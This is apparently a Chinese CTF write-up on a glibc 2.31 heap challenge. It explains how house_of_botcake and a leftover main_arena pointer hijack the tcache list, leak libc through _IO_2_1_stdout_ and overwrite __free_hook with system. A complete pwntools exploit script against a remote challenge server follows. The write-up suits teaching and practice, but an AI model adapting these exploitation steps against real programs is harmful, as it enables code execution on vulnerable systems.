tcache七星剑法:留光 ——巧用残留指针劫持tcache链表
tcache七星剑法:留光 ——巧用残留指针劫持tcache链表
去年十月DASCTF的一道题,现在做起来手拿把掐,两个多小时秒了。区区一解题不过如此。
代码审计
题目很简洁,add次数受限:add_count<=0x12,同时size大小限制在0x100之内。free次数无限,但是没有uaf。另外有一个gift函数可以进行一次不清空指针的free
2.31的glibc,还有钩子可以打,万幸万幸。
没有show和edit功能
防护全开不必多言。
思考:如何劫持指针以搭上libc这班车?
这个题没有show功能,非常难搞。
没有show功能的题,要么就是打IO去泄露libc,要么就是直接让libc相关地址在程序内计算,我们只送进去偏移。后者往往是vm pwn这类题的打法,因为这种题型提供了大量低级计算功能且不受次数限制。对于堆题,我们往往去思考如何劫持_IO_2_1_stdin_
这个题的size在tcache范围内。如果你读了上一篇(轮回),你应该能深刻地感受到tcache有一个相较于其他bin的一个特点,那就是里面的东西很容易取出来。
为此我们的思路是尝试劫持tcache的next指针指向libc。
劫持指针的方式可以通过house_of_botcake的方式来应对。相比较于上一期的fastbin_reverse_into_tcache,这个技巧的缺点在于必须size要大于fastbin范围,但是优点在于它对于具有uaf特性的free的次数要求较少,其过程也更加简洁。
简介一下:我们要填满一个tcache,然后释放两个相邻的chunk B和chunk A,其中A的释放不能进入tcache,B必须和先前填满的tcache大小相同,A在B的上面(A地址比B高)。随后释放一个tcache中chunk,利用uaf再次释放B,这样B就同时在tcache中和unsorted bin中(准确的说,是包含在unsorted bin中的一个堆块内)。这时切割unsorted bin中的堆块,申请一个大于A的size的堆块将B的next指针囊括其中,就能造成堆块重叠,进而劫持next指针。
CTF 中 glibc堆利用 及 IO_FILE 总结 这篇文章讲了很多堆攻击技巧,其中也包含了house_of_botcake。如果你觉得我讲的不是很清楚,你可以看这位佬的文章。
好了,指针劫持有了,libc在哪领?
留光 ——巧用残留指针劫持tcache链表
堆段造libc地址,一般思路都是造unsorted bin chunk。这题由于add次数较多,可以通过填满tcache的方式制造unsorted bin chunk。
这里已经是老生常谈了。
我们通过botcake,可以劫持B的指针的时候,可以通过切割unsorted bin的方式。在引发堆块重叠的同时,也能在B中留下一个last reminder chunk,即切割的剩余部分,这里要注意,这个堆块的fd位置是一个libc地址,指向main_arena中,并且这个地方里_IO_2_1_stdout_是非常近的。
(离去之前,留一道光)
B是最后进入tcache的,它一定指向一个堆段中的堆块。我们控制先前填满tcache的堆块,让倒数第二个进入tcache的堆块处于B的附近,这样B的next指针很有可能和last reminder的地址仅仅有最后一个字节不同。这时我们就可以劫持指针到这个last reminder使其进入tcache链表。与此同时,我们再次切割last reminder,覆盖fd的低位字节使其有概率指向_IO_2_1_stdout_(需要爆破,建议关了ASLR去调试),就能让_IO_2_1_stdout_也进入tcache。接下来我们就可以将其取出从而控制flag和write_base。
_IO_2_1_stdout_中的三个read指针可以随便覆盖。无关紧要,这个FILE大概是不会用read相关指针的
需要注意一点,再取last reminder以令其fd产生偏移的时候,一定要
采用切割的方式。如果你直接用相同size取出的话,堆块会 先进入tcache 再从tcache中取出。这就会导致next被覆盖而不再指向_IO_2_1_stdout_
收刀
之后在执行相关IO函数的时候会泄露libc。接下来把这两个重叠的堆块free了再申请就可以再次劫持libc地址了。
再free的时候,B的位置因为之前被写入了新的size,可能会导致size变小(看你如何风水),会进入另一个链表。这时再打free_hook的时候会由于count为0导致取不出来,所以在free之前记得先add一个堆块,free的时候先把这个堆块垫进去。
free_hook填上system就行了。注意先前libc的偏移地址要爆破。
EXP
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
#context.log_level = 'debug'
ELFpath = '/home/wjc/Desktop/pwn'
libcpath='/home/wjc/Desktop/libc'
p=process(ELFpath)
#p = remote('node4.buuoj.cn', 25965)
e = ELF(ELFpath)
libc=ELF(libcpath)
ru=lambda s :p.recvuntil(s)
rut=lambda s,t :p.recvuntil(s,timeout=t)
r=lambda n :p.recv(n)
sal=lambda d,b:p.sendlineafter(d,b)
sa=lambda d,b:p.sendlineafter(d,b)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))
LOGTOOL = {}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s" % (i[0]+":", hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
text_base, libc_base = get_base(p, 'pwn')
script = '''
set $text_base = {}
set $libc_base = {}
b*free
'''.format(text_base, libc_base)
# b*puts
# b* _IO_file_xsputn
# b mprotect
# b *($text_base+0x0000000000000000F84)
# b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
# dprintf *($text_base+0x04441),"%c",$ax
# dprintf *($text_base+0x04441),"%c",$ax
# 0x12D5
# 0x04441
# b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def add(size,content):
ru('Your choice : ')
sl('1')
ru('Size: ')
sl(str(size))
ru('Content: ')
s(content)
def dele(idx):
ru('Your choice : ')
sl('2')
ru('Index: ')
sl(str(idx))
def gift(idx):
ru('Your choice : ')
sl('9')
ru('Index: ')
sl(str(idx))
def pwn():
add(0x80,'aaa') #0
add(0x80,'aaa') #1
#2-8
for i in range(7):
add(0x80,'aaa')
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(2)
dele(3)
gift(1)
dele(0)
add(0x80,'aaa') #9
dele(1) #chunk_1 go into tcache
add(0xa0,0x88*'a'+p64(0x91)+'\x50') #10
# debug()
# pause()
add(0x50,'\xa0\x46') #11
add(0x80,'aaa') #12 0x330
add(0x80,'aaa') #13 0x350
pay1=p64(0xfbad1800)+p64(0)*3+'\x00\x00'
add(0x80,pay1) #14
libcbase=u64(rut('\x7f',0.1)[-6:].ljust(8,'\x00'))-(0x7ffff7e6a820-0x7ffff7dd7000)
LOGTOOL['libcbase']=libcbase
free_hook=libcbase+libc.symbols['__free_hook']
LOGTOOL['free_hook']=free_hook
onegadget=libcbase+0xe3afe
LOGTOOL['onegadget']=onegadget
system_addr=libcbase+libc.symbols['system']
LOGTOOL['system_addr']=system_addr
add(0x60,'aaa') #15
dele(15)
dele(13)
dele(12)
pay2=p64(0)*3+p64(0x71)+p64(free_hook)
add(0x80,pay2) #16
add(0x60,'/bin/sh\x00') #17
add(0x60,p64(system_addr)) #18
dele(17)
#LOGALL()
sl('echo winwinwin')
ru('winwinwin')
it()
#pwn()
p.close()
if __name__ == '__main__':
while True:
try:
p=remote('node4.buuoj.cn',26915)
#p=process(ELFpath)
pwn()
break
except:
p.close()
留光二式
2023.6.6更新
发现一道新题,BUUCTF二进制专项的一道:can_you_find_me。
更新的时候BUU平台寄了,也不知道远程能不能打通。
思路类似,不过这个题的漏洞是off-b-null而非UAF,原理同样是构建堆块重叠。